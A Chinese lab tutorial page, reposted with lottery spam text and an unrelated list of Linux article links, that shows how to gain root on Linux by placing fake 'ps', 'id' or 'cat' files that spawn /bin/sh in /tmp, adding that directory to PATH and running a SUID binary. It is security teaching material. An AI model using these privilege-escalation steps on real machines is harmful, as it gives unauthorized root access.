张飞软硬开源基于STM32 BLDC直流无刷电机驱动器开发视频套件,??戳此立抢??

极速快3计划全天在线:如何使用环境变量进行Linux提权的方法详细资料概述

马哥Linux运维 ? 2018-07-05 09:50 ? 次阅读

极速快3是什么彩票 www.ln0d0.cn 在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术?;安欢嗨?,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通?;咕哂?sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

如何使用环境变量进行Linux提权的方法详细资料概述

正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

Nano**编辑器**

cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite

Vi编辑器

cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用环境变量进行Linux提权的方法详细资料概述

原文标题:黑客的Linux神技能:使用环境变量进行提权

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
分享:

评论

相关推荐

轻松学Linux系列课程之Linux基础

课程从0开始,讲到云计算结束,按阶段授课,从入门到跑路,适合初学者,也适合定制,需要哪个??檠母瞿??,包含初级运维工
发表于 07-24 00:00 ? 15809次 阅读
轻松学Linux系列课程之Linux基础

电脑卡慢惹人烦 这五个妙招可以让Linux飞起来

玩儿电脑最怕的就是卡慢,那么电脑卡慢应该怎么解决呢?对于windows系统来说,你可能有各种免费的杀....
发表于 04-18 15:26 ? 14次 阅读
电脑卡慢惹人烦 这五个妙招可以让Linux飞起来

能够利用现有的存储空间去备份的Linux系统的替代方法概述

当转为使用 Linux 时,你可能会注意到你所使用的版本会带有一个默认的备份工具。然而,可能该工具并....
发表于 04-18 15:20 ? 20次 阅读
能够利用现有的存储空间去备份的Linux系统的替代方法概述

如何搭建Linux服务器的详细资料说明

本文档的主要内容详细介绍的是如何搭建Linux服务器的详细资料说明主要内容包括了:1、搭建telne....
发表于 04-18 08:00 ? 21次 阅读
如何搭建Linux服务器的详细资料说明

Linux下和ADS下编译出来的裸机代码运行led灯没闪烁

我仿照韦老师的裸机led点灯程序,写了一个在mini2440板子上的点灯程序。先是在ADS集成开发环境下写的,两个源文件,start.S和...
发表于 04-18 07:45 ? 15次 阅读
Linux下和ADS下编译出来的裸机代码运行led灯没闪烁

请推荐一款资料齐全的Linux开发板

小弟,有嵌入式基础,最近要学习Linux,所以想再某宝上先买一块开发板,但不知道买什么样的好, 所以想请各位大佬推荐一款Lin...
发表于 04-18 05:48 ? 13次 阅读
请推荐一款资料齐全的Linux开发板

51单片机学习教程之基础指令的练习

学习51单片机,感觉比汇编简单,关键是51的汇编有一个好的ide,练习起来也比较方便,这个系列主要记....
发表于 04-17 17:27 ? 29次 阅读
51单片机学习教程之基础指令的练习

Linux程序设计的函数和命令

Linux 程序设计---shell[2]:函数、命令
发表于 04-17 16:44 ? 13次 阅读
Linux程序设计的函数和命令

设备驱动不能在Linux上工作

当我在Windows上使用68013,我从CyPress(EZSB系统和EZSUBW2K)获得驱动程序,但据我所知,它不能在Linux上工作。...
发表于 04-17 09:05 ? 83次 阅读
设备驱动不能在Linux上工作

千兆网络接口在S3C2440A系统中的应用方案

作者:1 山东大学鸥玛研究所 2浪潮超越数控 赵小朴1 李莉2 宋华1 嵌入式系统广泛应用在工业测控、智能仪表、智能家庭等很多领...
发表于 04-17 07:00 ? 34次 阅读
千兆网络接口在S3C2440A系统中的应用方案

请问arduino可以跑Linux系统吗?

对于Arduino UNO R3,能跑Linux系统吗?如果不行,能不能刷freeRTOS之类的实时系统?...
发表于 04-17 02:13 ? 19次 阅读
请问arduino可以跑Linux系统吗?

基于Linux系统上的OBS Studio主播软件应用设计浅析

也许没有那么多铁杆的游戏玩家使用 Linux,但肯定有很多 Linux 用户喜欢玩游戏。如果你是其中....
发表于 04-16 16:04 ? 29次 阅读
基于Linux系统上的OBS Studio主播软件应用设计浅析

概述Linux工作站加固的6个方法

正如我之前说过,安全好比是在公路上开车――比你开得慢的人都是白痴,比你开得快的人都是疯子。本文介绍的....
发表于 04-16 15:59 ? 30次 阅读
概述Linux工作站加固的6个方法

打造属于自己的Linux操作系统

跟大神一起15分钟制作一个属于自己的Linux操作系统!...
发表于 04-16 14:18 ? 18次 阅读
打造属于自己的Linux操作系统

Docker和传统虚拟化方式的不同之处

当用户创建了自己的镜像之后就可以使用 push 命令将它上传到公有或者私有仓库,这样下次在另外一台机....
的头像 马哥Linux运维 发表于 04-16 13:40 ? 164次 阅读
Docker和传统虚拟化方式的不同之处

盘点一下这些可以通过Wine在Linux上玩的游戏

上古卷轴 5 已经不是款新游戏了,但它的 mod 社区依旧活跃。如果你的 Linux 系统有足够资源....
的头像 Linux爱好者 发表于 04-16 12:41 ? 168次 阅读
盘点一下这些可以通过Wine在Linux上玩的游戏

如何在 Linux 中不使用 CD 命令进入目录/文件夹?

众所周知,如果没有 cd 命令,我们无法 Linux 中切换目录。这个没错,但我们有一个名为 sho....
的头像 Linux爱好者 发表于 04-16 11:40 ? 216次 阅读
如何在 Linux 中不使用 CD 命令进入目录/文件夹?

NFHiFi DAC解码耳放调音的软件和文件及使用步骤合集免费下载

NFHiFi DAC解码耳放调音的软件和文件及使用步骤合集免费下载。
发表于 04-16 08:00 ? 29次 阅读
NFHiFi DAC解码耳放调音的软件和文件及使用步骤合集免费下载

MindMaster多平台思维导图软件免费下载

MindMaster 是亿图软件新上线的一款跨平台、多功能的思维导图软件。是帮助您快速成为思维导图设....
发表于 04-16 08:00 ? 25次 阅读
MindMaster多平台思维导图软件免费下载

学习ARM的一些心得详细资料分析

首先学习单片机,最好能找个前辈带一带。你能用51单片机做出一样实际的东西吗?即使它再简单!要注意加深....
发表于 04-15 18:25 ? 32次 阅读
学习ARM的一些心得详细资料分析

Linux 开发者 Christopher Helwig 决定放弃上诉 VMware 源码侵权案

在诉讼请求被法院一次次驳回后,最近原告著名 Linux 开发者 Christopher Helwig....
的头像 Linux爱好者 发表于 04-15 16:56 ? 198次 阅读
Linux 开发者 Christopher Helwig 决定放弃上诉 VMware 源码侵权案

Linux系统新手学习的11点建议

随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起。这里介绍学习...
发表于 04-15 15:09 ? 332次 阅读
Linux系统新手学习的11点建议

概述linux异步信号handle

程序的二进制代码在内存中都有着确定的执行流程,为什么收到异步信号以后,程序会被“中断”,然后跳转到这....
发表于 04-15 14:58 ? 33次 阅读
概述linux异步信号handle

Linux操作系统的用户空间和内核空间开发需要谨慎

作为中央核心处理单元的CPU,除了生产工艺的不断革新进步外,在处理数据和响应速度方面也需要有权衡。稍....
发表于 04-15 14:48 ? 26次 阅读
Linux操作系统的用户空间和内核空间开发需要谨慎

从内核中NVMe IO框架来看其中存在的问题

IO响应过程中最主要问题是中断的balance,由于默认linux中并没有对NVMe的中断进行有效的....
的头像 Linuxer 发表于 04-15 13:59 ? 143次 阅读
从内核中NVMe IO框架来看其中存在的问题

linux命令笔记分享

补个笔记linux 命令
发表于 04-15 08:29 ? 13次 阅读
linux命令笔记分享

Linux C函数库参考手册真的是免费下载

本文档的主要内容详细介绍的是Linux C函数库参考手册真的是免费下载
发表于 04-15 08:00 ? 28次 阅读
Linux C函数库参考手册真的是免费下载

请问出了结构体,指针为什么要按对齐格式增加

注意:如果点击空白处无法输入,则点击字会有输入提示符 | 则可以使用键盘进行输入! 此板块为  [ARM裸机加强版...
发表于 04-15 07:00 ? 18次 阅读
请问出了结构体,指针为什么要按对齐格式增加

微软把Linux看作危险的异类

这是一个美妙而且疯狂的时代,瞬息万变,一切皆有可能。 曾经一度,微软把Linux看作危险的异类
的头像 Linuxer 发表于 04-12 16:44 ? 344次 阅读
微软把Linux看作危险的异类

Linux相对于windows具有以下的优点

Linux系统让我们懂得了共享、开放、自由可以让人类生活的更加美好,开源精神是一种让每个从事Linu....
发表于 04-12 15:33 ? 35次 阅读
Linux相对于windows具有以下的优点

概述在Linux下编译安装OpenCV的步骤

OpenCV是一个跨平台的计算机视觉库,可以运行在Windows、Linux、MacOS等操作系统上....
发表于 04-12 15:30 ? 51次 阅读
概述在Linux下编译安装OpenCV的步骤

Linux DMA内置设备驱动程序的详细资料说明

本文档的主要内容详细介绍的是Linux DMA内置设备驱动程序的详细资料说明主要内容包括; 1.议程....
发表于 04-12 08:00 ? 38次 阅读
Linux DMA内置设备驱动程序的详细资料说明

Linux中的关机命令浅析

在本篇中,我们会向你解释 shutdown、poweroff、halt 以及 reboot 命令。我....
发表于 04-11 09:00 ? 60次 阅读
Linux中的关机命令浅析

概述学习Linux系统中命令的简单方法

如果说如何快速学习、了解 Linux 的话,我的答案是学命令、背命令!为何呢?对于一名新手来说,去学....
发表于 04-11 08:57 ? 72次 阅读
概述学习Linux系统中命令的简单方法

与传统的嵌入式系统相比 PocketIX采用标准的Linux结构

IT业,如果要问当今最热门的话题是什么,从事硬件开发的人会毫不犹豫地回答:信息家电;从事软件开发的人....
发表于 04-09 15:39 ? 57次 阅读
与传统的嵌入式系统相比 PocketIX采用标准的Linux结构

Linux社区关于解决兼容性和效率的这两个问题浅析

自从多线程编程的概念出现在 Linux 中以来,Linux 多线应用的发展总是与两个问题脱不开干系:....
发表于 04-09 15:28 ? 55次 阅读
Linux社区关于解决兼容性和效率的这两个问题浅析

Valve即将推出的新头显Index将支持Linux系统

据报道,Valve回应GamingOnLinux“对Linux的支持是肯定的”,同时确定了将于5月1....
的头像 AR联盟 发表于 04-09 10:10 ? 232次 阅读
Valve即将推出的新头显Index将支持Linux系统

几种常用的经常出现于现有嵌入式应用中的内存映射I/O方法概述

Linux 暴风雨般占领了嵌入式系统市场。分析家指出,大约有1/3到1/2的32/64位新的嵌入式系....
发表于 04-08 08:52 ? 79次 阅读
几种常用的经常出现于现有嵌入式应用中的内存映射I/O方法概述

Win7生命线将终止 会转向macOS或Linux吗?

Windows 7将要到达其生命线的终点,市场数据表明,Win7操作系统(OS)的用户数量开始减少。....
的头像 电小二 发表于 04-06 16:24 ? 734次 阅读
Win7生命线将终止 会转向macOS或Linux吗?

几种有代表性的嵌入式Linux浅析

由于 Linux 所具备的开源、稳定、高效、易裁剪、硬件支持广泛等优点,使得它在嵌入式系统领域最近十....
发表于 04-05 14:58 ? 280次 阅读
几种有代表性的嵌入式Linux浅析

Linux应用于嵌入式系统的开发优点浅析

按 照电气工程师协会的一个定义:嵌入式系统是用来控制或监视机器、装置或工厂等的大规模系统的设备。具体....
发表于 04-05 14:51 ? 102次 阅读
Linux应用于嵌入式系统的开发优点浅析

汇总一下能够帮助树莓派初学者入门的一些资源

树莓派运行的是Linux系统,因此需要对Linux的命令和操作进行熟悉,我个人的体会Linux的命令....
的头像 电子发烧友网工程师 发表于 04-04 14:43 ? 710次 阅读
汇总一下能够帮助树莓派初学者入门的一些资源

我们是如何提供安全的Linux操作系统解决方案的

我们的解决方案是基于Oracle Linux(OL,以前称为Oracle Enterprise Li....
的头像 Linuxer 发表于 04-03 15:27 ? 426次 阅读
我们是如何提供安全的Linux操作系统解决方案的

关于嵌入式Linux中进程调度的内容浅析

处理机(CPU)是整个计算机系统的核心资源,在多进程的操作系统中,进程数往往多于处理机数,这将导致各....
发表于 04-03 09:02 ? 92次 阅读
关于嵌入式Linux中进程调度的内容浅析

linux内核对进程的管理分为两个方面

众所周知,现在的分时操作系统能够在一个CPU上运行多个程序,让这些程序表面上看起来是在同时运行的。l....
发表于 04-03 08:58 ? 118次 阅读
linux内核对进程的管理分为两个方面

嵌入式Linux应用开发完全手册完整版PDF电子书免费下载

本书全面介绍了嵌入式 Linux 系统开发过程中,从底层系统支持到上层 GUI 应用的方方面面,内容....
发表于 04-03 08:00 ? 124次 阅读
嵌入式Linux应用开发完全手册完整版PDF电子书免费下载

关于嵌入式Linux系统中的BSP浅析

嵌入式系统由硬件环境、嵌入式操作系统和应用程序组成,硬件环境是操作系统和应用程序运行的硬件平台,它随....
发表于 04-02 14:42 ? 113次 阅读
关于嵌入式Linux系统中的BSP浅析

linux文件系统中的虚拟文件系统设计详解

Linux 中允许众多不同的文件系统共存,如 ext2, ext3, vfat 等。通过使用同一套文....
发表于 04-02 14:37 ? 92次 阅读
linux文件系统中的虚拟文件系统设计详解

modelsim仿真使用教程资料免费下载

本文档的主要内容详细介绍的是modelsim仿真使用教程资料免费下载。
发表于 04-02 08:00 ? 40次 阅读
modelsim仿真使用教程资料免费下载

Linux C编程一站式学习教程PDF电子书免费下载

这本书最初是为北京亚嵌教育研究中心的嵌入式Linux系统工程师就业班课程量身定做的教材之一。该课程是....
发表于 04-01 08:00 ? 112次 阅读
Linux C编程一站式学习教程PDF电子书免费下载

嵌入式系统的教程资料合集免费下载

本文档的主要内容详细介绍的是嵌入式系统的教程资料合集免费下载包括了:GCC中文手册,Linux系统命....
发表于 04-01 08:00 ? 54次 阅读
嵌入式系统的教程资料合集免费下载

Ubuntu开发环境搭建的安装资料免费下载

VMware Workstation 是一款虚拟 PC 软件,利用 VMware 工作站,可在现有操....
发表于 04-01 08:00 ? 38次 阅读
Ubuntu开发环境搭建的安装资料免费下载

Linux教程之Linux常用命令大全

Linux教程之Linux常用命令大全
的头像 马哥Linux运维 发表于 03-30 10:34 ? 559次 阅读
Linux教程之Linux常用命令大全

Python的时间操作处理资料总结

python中处理时间的??橛腥?,datetime, time,calendar,融汇贯通三个???...
的头像 马哥Linux运维 发表于 03-30 10:28 ? 504次 阅读
Python的时间操作处理资料总结

176条DevOps人员常用的linux命令速查表资料合集

本文档详细介绍的是176条DevOps人员常用的linux命令速查表资料合集
的头像 马哥Linux运维 发表于 03-30 10:17 ? 500次 阅读
176条DevOps人员常用的linux命令速查表资料合集

Linux学习书籍推荐Linux就该这么学

书籍内容基于主流 Linux 系统编写,全书总共20个章节,16开本超400页,通用于RHEL、Ce....
的头像 Linux爱好者 发表于 03-30 09:41 ? 467次 阅读
Linux学习书籍推荐Linux就该这么学

Arch Linux将要吧zstd作为默认压缩算法提升速度

过去几周,Arch Linux 维护人员比较了不同的压缩算法,最终计划使用 zstd 取代 devt....
的头像 Linux爱好者 发表于 03-30 09:28 ? 504次 阅读
Arch Linux将要吧zstd作为默认压缩算法提升速度

那些 Linux Shell的小技巧,大大提升机器学习生产效率

在机器学习的实践过程中,用好Shell能帮你很多节省时间。
的头像 电子发烧友网工程师 发表于 03-27 16:46 ? 542次 阅读
那些 Linux Shell的小技巧,大大提升机器学习生产效率

笨办法学C语言PDF中文版电子书免费下载

如果有一段引述用来描述C语言编程的话,那就是它了。对于大多数程序员,C是极其可怕而且邪恶的。他就像是....
发表于 03-26 16:23 ? 198次 阅读
笨办法学C语言PDF中文版电子书免费下载

运维工程师的四个阶段

Linux系统目前主要应用在企业服务器上,学习Linux,更多的是向Linux系统/运维工程师方向进....
的头像 工程师人生 发表于 03-26 16:22 ? 484次 阅读
运维工程师的四个阶段

AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)

TI AM437x高性能处理器基于ARM Cortex-A9内核。 这些处理器通过3D图形加速得到增强,可实现丰富的图形用户界面,还配备了协处理器,用于进行确定性实时处理(包括EtherCAT,PROFIBUS,EnDat等工业通信协议)。该器件支持高级操作系统(HLOS)?;贚inux的® 可从TI免费获取。其它HLOS可从TI的设计网络和生态系统合作伙伴处获取。 这些器件支持对采用较低性能ARM内核的系统升级,并提供更新外设,包括QSPI-NOR和LPDDR2等存储器选项。 这些处理器包含功能方框图中显示的子系统,并且后跟相应的“说明”中添加了更多信息说明。 处理器子系统基于ARM Cortex-A9内核,PowerVR SGX™图形加速器子系统提供3D图形加速功能以支持显示和高级用户界面。 可编程实时单元子系统和工业通信子系统(PRU-ICSS与ARM内核分离,允许单独操作和计时,以实现更高的效率和灵活性.PRU-ICSS支持更多外设接口和EtherCAT,PROFINET,EtherNet /IP,PROFIBUS,以太网Powerlink,Sercos,EnDat等...
发表于 09-25 11:51 ? 68次 阅读
AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)
772| 755| 690| 862| 166| 219| 312| 117| 728| 729|